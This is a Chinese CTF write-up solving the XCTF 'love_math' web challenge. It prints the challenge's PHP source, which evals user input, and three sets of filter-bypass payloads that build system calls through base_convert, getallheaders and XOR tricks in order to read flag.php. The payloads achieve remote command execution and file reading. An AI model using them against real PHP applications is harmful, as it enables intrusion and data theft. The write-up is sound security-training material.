前言

继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是love_math的writeup

解题过程

进来如下 源码完整如下

<?php error_reporting(0); //听说你很喜欢数学，不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); } ?>

大概是

传参c不超过80长度有个黑名单过滤一堆符号有个白名单限制数学函数

先御剑习惯性扫描下 发现一个flag.php 看来这就是我们需要想办法搞定的 访问下试试 。。。。。。 人傻了呀 直接访问成功 攻防世界这个题目环境真的日常有问题 。。。。。。

回过头来看按原题意该怎么搞

思路1

因为引号被黑名单了，无法从函数名中提取字符串 因此我们只能想办法从函数的返回结果中获取 关键函数base_convert函数 可以返回任意字母，不过无法返回_ *等特殊字符 实现phpinfo()

?c=base_convert(55490343972,10,36)()

实现system('ls')

?c=base_convert(1751504350,10,36)(base_convert(784,10,36))

本来是想搞cat flag 但没搞出来 要么返显有问题

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

要么超过80长度了

?c=($pi=base_convert)(723938,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36)){1}

然后查了下用system(hex2bin(nl*))读取所有文件内容

?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

成功获取flag

思路2

关键函数getallheaders

返回的是数组要从数组里面取数据用array['xxx'],但是无奈[]被waf了因为{}中是可以带数字的，这里用getallheader(){1}可以返回自定义头1里面的内容

用exec(gettallheaders(){1})读取headers的第1个

?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})

就能获取flag

思路3

用异或获取_GET

<?php $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } } } ?>

搜索下_G和ET 用 _GET{system}(_GET{cat flag.php}) 即

?c=$pi=($_GET){pi}(($_GET){abs})&pi=system&abs=cat%20flag.php

然后替换掉_GET 比如

?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20flag.php ?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php

获取flag

结语

攻防世界的题目环境真的有问题 不过本题蛮有意思的

知识点

base_convert函数hex2bin函数getallheaders函数php的异或

还是菜啊Q.Q